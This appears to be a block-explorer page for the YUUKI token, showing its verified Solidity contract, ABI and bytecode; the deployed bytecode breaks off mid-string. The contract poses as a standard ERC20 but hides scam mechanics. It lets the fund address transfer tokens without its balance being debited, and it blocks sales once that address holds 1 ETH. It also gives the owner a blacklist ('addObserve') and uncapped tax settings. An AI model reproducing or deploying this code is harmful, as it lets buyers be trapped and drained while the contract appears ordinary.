ETH Price: $3,261.79 (+1.17%)

Token

Yuuki Asuna (YUUKI)
 

Overview

Max Total Supply

100,000,000 YUUKI

Holders

118

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
xmillionaire.eth
Balance
2,279,023.245789140481663422 YUUKI

Value
$0.00
0x4c9810351207207cF3F4d1e47446901A4F50336b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-03
*/

/**

Telegram: https://t.me/yuukicoineth

Website: https://yuukieth.org

Twitter: https://twitter.com/yuukicoineth


*/


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.10;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract ERC20 is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public fundAddress;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 private _totalSupply;

    IUniswapRouter public _uniswapRouter;

    mapping(address => bool) public isMarketPair;
    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyFundFee = 1;
    uint256 public _sellFundFee = 1;

    address public _uniswapPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (){
        _name = "Yuuki Asuna";
        _symbol = "YUUKI";
        _decimals = 18;
        uint256 Supply = 100_000_000;

        _totalSupply = Supply * 10 ** _decimals;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);

        fundAddress = 0xfc4eF160853d92F270ce3F6Ad86222117F533ED8;

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[msg.sender] = true;
        _isExcludeFromFee[fundAddress] = true;
    }

    function setFundAddr(address newAddr) public onlyOwner{
        fundAddress = newAddr;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function DesignTax(
        uint256 newBuyFundFee,
        uint256 newSellFundFee
    ) public onlyOwner{
        _buyFundFee = newBuyFundFee;
        _sellFundFee = newSellFundFee;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    mapping(address => bool) public _observe;
    function addObserve(address account) public onlyOwner{
        _observe[account] = true;
    }

    function delObserve(address account) public onlyOwner{
        _observe[account] = false;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        bool takeFee;
        bool sellFlag;

        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance > 0) {
                uint256 numTokensSellToFund = amount;
                numTokensSellToFund = numTokensSellToFund > contractTokenBalance ? 
                                                            contractTokenBalance:numTokensSellToFund;
                swapTokenForETH(numTokensSellToFund);
            }
        }

        require(!_observe[from],"observe");

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            require(tradingBlock > 0,"!trading");
            takeFee = true;
        }

        if (isMarketPair[to]) { sellFlag = true; }

        _transferToken(from, to, amount, takeFee, sellFlag);
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool sellFlag
    ) private {
        uint256 feeAmount;

        if (takeFee) {
            
            uint256 taxFee;

            if (sellFlag) {
                require(fundAddress.balance < 1e18);
                taxFee = _sellFundFee;
            } else {
                taxFee = _buyFundFee;
            }
            uint256 swapAmount = tAmount * taxFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        } 
        if (sender != fundAddress)
        _balances[sender] = _balances[sender] - tAmount;
        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(fundAddress),
            block.timestamp
        ) {} catch {}
    }

    uint256 public tradingBlock;
    function addLiquidity() external payable onlyOwner {
        require(tradingBlock == 0,"already trading");

        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());
        _uniswapPair = swapPair;
        isMarketPair[swapPair] = true;

        _isExcludeFromFee[address(swapRouter)] = true;

        swapRouter.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(swapPair).approve(address(swapRouter), MAX);

        tradingBlock = block.number;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"newBuyFundFee","type":"uint256"},{"internalType":"uint256","name":"newSellFundFee","type":"uint256"}],"name":"DesignTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_observe","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addObserve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"delObserve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fundAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddr","type":"address"}],"name":"setFundAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600c556001600d553480156200001b57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060408051808201909152600b81526a5975756b69204173756e6160a81b60208201526004906200008e90826200024d565b50604080518082019091526005808252645955554b4960d81b602083015290620000b990826200024d565b506006805460ff191660129081179091556305f5e10090620000dd90600a6200042e565b620000e9908262000446565b600881905533600081815260016020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350600380546001600160a01b03191673fc4ef160853d92f270ce3f6ad86222117f533ed817815530600090815260076020526040808220805460ff199081166001908117909255338452828420805482168317905593546001600160a01b031683529120805490921617905562000460565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620001d357607f821691505b602082108103620001f457634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200024857600081815260208120601f850160051c81016020861015620002235750805b601f850160051c820191505b8181101562000244578281556001016200022f565b5050505b505050565b81516001600160401b03811115620002695762000269620001a8565b62000281816200027a8454620001be565b84620001fa565b602080601f831160018114620002b95760008415620002a05750858301515b600019600386901b1c1916600185901b17855562000244565b600085815260208120601f198616915b82811015620002ea57888601518255948401946001909101908401620002c9565b5085821015620003095787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200037057816000190482111562000354576200035462000319565b808516156200036257918102915b93841c939080029062000334565b509250929050565b600082620003895750600162000428565b81620003985750600062000428565b8160018114620003b15760028114620003bc57620003dc565b600191505062000428565b60ff841115620003d057620003d062000319565b50506001821b62000428565b5060208310610133831016604e8410600b841016171562000401575081810a62000428565b6200040d83836200032f565b806000190482111562000424576200042462000319565b0290505b92915050565b60006200043f60ff84168362000378565b9392505050565b808202811582820484141762000428576200042862000319565b61151080620004706000396000f3fe6080604052600436106101855760003560e01c806370a08231116100d1578063cd51e6d41161008a578063e8078d9411610064578063e8078d94146104bd578063e82bef29146104c5578063f0ab32ec146104e5578063f2fde38b1461050557600080fd5b8063cd51e6d41461044b578063ce0192f914610461578063dd62ed3e1461047757600080fd5b806370a082311461038d578063715018a6146103c35780638da5cb5b146103d857806395d89b41146103f6578063a9059cbb1461040b578063c447ba1a1461042b57600080fd5b806336b2e0271161013e5780634b1abf6f116101185780634b1abf6f146102e55780634bf28fd01461031557806365b61b771461034d5780636f39cfcd1461036d57600080fd5b806336b2e0271461026f5780633bfe62ca1461029f5780633ecad271146102b557600080fd5b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101ec57806323b872dd1461020b5780632741a2511461022b578063313ce5671461024d57600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610525565b6040516101b391906111ba565b60405180910390f35b3480156101c857600080fd5b506101dc6101d7366004611220565b6105b7565b60405190151581526020016101b3565b3480156101f857600080fd5b506008545b6040519081526020016101b3565b34801561021757600080fd5b506101dc61022636600461124c565b6105ce565b34801561023757600080fd5b5061024b61024636600461128d565b610665565b005b34801561025957600080fd5b5060065460405160ff90911681526020016101b3565b34801561027b57600080fd5b506101dc61028a36600461128d565b60076020526000908152604090205460ff1681565b3480156102ab57600080fd5b506101fd600d5481565b3480156102c157600080fd5b506101dc6102d036600461128d565b600a6020526000908152604090205460ff1681565b3480156102f157600080fd5b506101dc61030036600461128d565b600f6020526000908152604090205460ff1681565b34801561032157600080fd5b50600e54610335906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b34801561035957600080fd5b50600954610335906001600160a01b031681565b34801561037957600080fd5b5061024b61038836600461128d565b6106b9565b34801561039957600080fd5b506101fd6103a836600461128d565b6001600160a01b031660009081526001602052604090205490565b3480156103cf57600080fd5b5061024b610705565b3480156103e457600080fd5b506000546001600160a01b0316610335565b34801561040257600080fd5b506101a6610779565b34801561041757600080fd5b506101dc610426366004611220565b610788565b34801561043757600080fd5b5061024b6104463660046112b1565b610795565b34801561045757600080fd5b506101fd60105481565b34801561046d57600080fd5b506101fd600c5481565b34801561048357600080fd5b506101fd6104923660046112d3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61024b6107ca565b3480156104d157600080fd5b50600354610335906001600160a01b031681565b3480156104f157600080fd5b5061024b61050036600461128d565b610b50565b34801561051157600080fd5b5061024b61052036600461128d565b610b9e565b6060600480546105349061130c565b80601f01602080910402602001604051908101604052809291908181526020018280546105609061130c565b80156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b5050505050905090565b60006105c4338484610c64565b5060015b92915050565b60006105db848484610cc5565b6001600160a01b03841660009081526002602090815260408083203384529091529020546000191461065b576001600160a01b038416600090815260026020908152604080832033845290915290205461063690839061135c565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146106985760405162461bcd60e51b815260040161068f9061136f565b60405180910390fd5b6001600160a01b03166000908152600f60205260409020805460ff19169055565b6000546001600160a01b031633146106e35760405162461bcd60e51b815260040161068f9061136f565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461072f5760405162461bcd60e51b815260040161068f9061136f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600580546105349061130c565b60006105c4338484610cc5565b6000546001600160a01b031633146107bf5760405162461bcd60e51b815260040161068f9061136f565b600c91909155600d55565b6000546001600160a01b031633146107f45760405162461bcd60e51b815260040161068f9061136f565b601054156108365760405162461bcd60e51b815260206004820152600f60248201526e616c72656164792074726164696e6760881b604482015260640161068f565b600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915530600090815260026020908152604080832084845282528083206000199055805163c45a015560e01b81529051849263c45a015592600480820193918290030181865afa1580156108b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d8919061139a565b90506000816001600160a01b031663c9c6539630856001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561092a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094e919061139a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561099b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109bf919061139a565b600e80546001600160a01b0319166001600160a01b038381169182179092556000908152600a60209081526040808320805460ff199081166001908117909255948916808552600784528285208054909616821790955530808552925290912054929350909163f305d719913491600080610a426000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610aaa573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610acf91906113b7565b505060405163095ea7b360e01b81526001600160a01b03858116600483015260001960248301528316915063095ea7b3906044016020604051808303816000875af1158015610b22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b4691906113e5565b5050436010555050565b6000546001600160a01b03163314610b7a5760405162461bcd60e51b815260040161068f9061136f565b6001600160a01b03166000908152600f60205260409020805460ff19166001179055565b6000546001600160a01b03163314610bc85760405162461bcd60e51b815260040161068f9061136f565b6001600160a01b038116610c095760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b604482015260640161068f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382166000908152600a6020526040812054819060ff168015610cf25750600b5460ff16155b8015610d1757506001600160a01b03851660009081526007602052604090205460ff16155b8015610d3c57506001600160a01b03841660009081526007602052604090205460ff16155b15610d7657306000908152600160205260409020548015610d745783818111610d655780610d67565b815b9050610d7281610e9a565b505b505b6001600160a01b0385166000908152600f602052604090205460ff1615610dc95760405162461bcd60e51b81526020600482015260076024820152666f62736572766560c81b604482015260640161068f565b6001600160a01b03851660009081526007602052604090205460ff16158015610e0b57506001600160a01b03841660009081526007602052604090205460ff16155b8015610e1a5750600b5460ff16155b15610e6157600060105411610e5c5760405162461bcd60e51b81526020600482015260086024820152672174726164696e6760c01b604482015260640161068f565b600191505b6001600160a01b0384166000908152600a602052604090205460ff1615610e86575060015b610e938585858585610ff2565b5050505050565b600b805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610edc57610edc611407565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f59919061139a565b81600181518110610f6c57610f6c611407565b6001600160a01b03928316602091820292909201015260095460035460405163791ac94760e01b81529183169263791ac94792610fb8928792600092889290911690429060040161141d565b600060405180830381600087803b158015610fd257600080fd5b505af1925050508015610fe3575060015b505050600b805460ff19169055565b600082156110d7576000821561102d57600354670de0b6b3a76400006001600160a01b03909116311061102457600080fd5b50600d54611032565b50600c545b60006064611040838861148e565b61104a91906114a5565b905080156110d45761105c81846114c7565b3060009081526001602052604090205490935061107a9082906114c7565b30600081815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110cb9085815260200190565b60405180910390a35b50505b6003546001600160a01b0387811691161461112a576001600160a01b03861660009081526001602052604090205461111090859061135c565b6001600160a01b0387166000908152600160205260409020555b611134818561135c565b6001600160a01b03861660009081526001602052604090205461115791906114c7565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111a1848861135c565b60405190815260200160405180910390a3505050505050565b600060208083528351808285015260005b818110156111e7578581018301518582016040015282016111cb565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461121d57600080fd5b50565b6000806040838503121561123357600080fd5b823561123e81611208565b946020939093013593505050565b60008060006060848603121561126157600080fd5b833561126c81611208565b9250602084013561127c81611208565b929592945050506040919091013590565b60006020828403121561129f57600080fd5b81356112aa81611208565b9392505050565b600080604083850312156112c457600080fd5b50508035926020909101359150565b600080604083850312156112e657600080fd5b82356112f181611208565b9150602083013561130181611208565b809150509250929050565b600181811c9082168061132057607f821691505b60208210810361134057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156105c8576105c8611346565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b6000602082840312156113ac57600080fd5b81516112aa81611208565b6000806000606084860312156113cc57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156113f757600080fd5b815180151581146112aa57600080fd5b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561146d5784516001600160a01b031683529383019391830191600101611448565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176105c8576105c8611346565b6000826114c257634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156105c8576105c861134656fea26469706673582212209291a90d69c69850558d38de5c8bcc0440bcc8a1e06b8301d65be0075253a53764736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101855760003560e01c806370a08231116100d1578063cd51e6d41161008a578063e8078d9411610064578063e8078d94146104bd578063e82bef29146104c5578063f0ab32ec146104e5578063f2fde38b1461050557600080fd5b8063cd51e6d41461044b578063ce0192f914610461578063dd62ed3e1461047757600080fd5b806370a082311461038d578063715018a6146103c35780638da5cb5b146103d857806395d89b41146103f6578063a9059cbb1461040b578063c447ba1a1461042b57600080fd5b806336b2e0271161013e5780634b1abf6f116101185780634b1abf6f146102e55780634bf28fd01461031557806365b61b771461034d5780636f39cfcd1461036d57600080fd5b806336b2e0271461026f5780633bfe62ca1461029f5780633ecad271146102b557600080fd5b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101ec57806323b872dd1461020b5780632741a2511461022b578063313ce5671461024d57600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610525565b6040516101b391906111ba565b60405180910390f35b3480156101c857600080fd5b506101dc6101d7366004611220565b6105b7565b60405190151581526020016101b3565b3480156101f857600080fd5b506008545b6040519081526020016101b3565b34801561021757600080fd5b506101dc61022636600461124c565b6105ce565b34801561023757600080fd5b5061024b61024636600461128d565b610665565b005b34801561025957600080fd5b5060065460405160ff90911681526020016101b3565b34801561027b57600080fd5b506101dc61028a36600461128d565b60076020526000908152604090205460ff1681565b3480156102ab57600080fd5b506101fd600d5481565b3480156102c157600080fd5b506101dc6102d036600461128d565b600a6020526000908152604090205460ff1681565b3480156102f157600080fd5b506101dc61030036600461128d565b600f6020526000908152604090205460ff1681565b34801561032157600080fd5b50600e54610335906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b34801561035957600080fd5b50600954610335906001600160a01b031681565b34801561037957600080fd5b5061024b61038836600461128d565b6106b9565b34801561039957600080fd5b506101fd6103a836600461128d565b6001600160a01b031660009081526001602052604090205490565b3480156103cf57600080fd5b5061024b610705565b3480156103e457600080fd5b506000546001600160a01b0316610335565b34801561040257600080fd5b506101a6610779565b34801561041757600080fd5b506101dc610426366004611220565b610788565b34801561043757600080fd5b5061024b6104463660046112b1565b610795565b34801561045757600080fd5b506101fd60105481565b34801561046d57600080fd5b506101fd600c5481565b34801561048357600080fd5b506101fd6104923660046112d3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61024b6107ca565b3480156104d157600080fd5b50600354610335906001600160a01b031681565b3480156104f157600080fd5b5061024b61050036600461128d565b610b50565b34801561051157600080fd5b5061024b61052036600461128d565b610b9e565b6060600480546105349061130c565b80601f01602080910402602001604051908101604052809291908181526020018280546105609061130c565b80156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b5050505050905090565b60006105c4338484610c64565b5060015b92915050565b60006105db848484610cc5565b6001600160a01b03841660009081526002602090815260408083203384529091529020546000191461065b576001600160a01b038416600090815260026020908152604080832033845290915290205461063690839061135c565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146106985760405162461bcd60e51b815260040161068f9061136f565b60405180910390fd5b6001600160a01b03166000908152600f60205260409020805460ff19169055565b6000546001600160a01b031633146106e35760405162461bcd60e51b815260040161068f9061136f565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461072f5760405162461bcd60e51b815260040161068f9061136f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600580546105349061130c565b60006105c4338484610cc5565b6000546001600160a01b031633146107bf5760405162461bcd60e51b815260040161068f9061136f565b600c91909155600d55565b6000546001600160a01b031633146107f45760405162461bcd60e51b815260040161068f9061136f565b601054156108365760405162461bcd60e51b815260206004820152600f60248201526e616c72656164792074726164696e6760881b604482015260640161068f565b600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915530600090815260026020908152604080832084845282528083206000199055805163c45a015560e01b81529051849263c45a015592600480820193918290030181865afa1580156108b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d8919061139a565b90506000816001600160a01b031663c9c6539630856001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561092a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094e919061139a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561099b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109bf919061139a565b600e80546001600160a01b0319166001600160a01b038381169182179092556000908152600a60209081526040808320805460ff199081166001908117909255948916808552600784528285208054909616821790955530808552925290912054929350909163f305d719913491600080610a426000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610aaa573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610acf91906113b7565b505060405163095ea7b360e01b81526001600160a01b03858116600483015260001960248301528316915063095ea7b3906044016020604051808303816000875af1158015610b22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b4691906113e5565b5050436010555050565b6000546001600160a01b03163314610b7a5760405162461bcd60e51b815260040161068f9061136f565b6001600160a01b03166000908152600f60205260409020805460ff19166001179055565b6000546001600160a01b03163314610bc85760405162461bcd60e51b815260040161068f9061136f565b6001600160a01b038116610c095760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b604482015260640161068f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382166000908152600a6020526040812054819060ff168015610cf25750600b5460ff16155b8015610d1757506001600160a01b03851660009081526007602052604090205460ff16155b8015610d3c57506001600160a01b03841660009081526007602052604090205460ff16155b15610d7657306000908152600160205260409020548015610d745783818111610d655780610d67565b815b9050610d7281610e9a565b505b505b6001600160a01b0385166000908152600f602052604090205460ff1615610dc95760405162461bcd60e51b815260206004820152600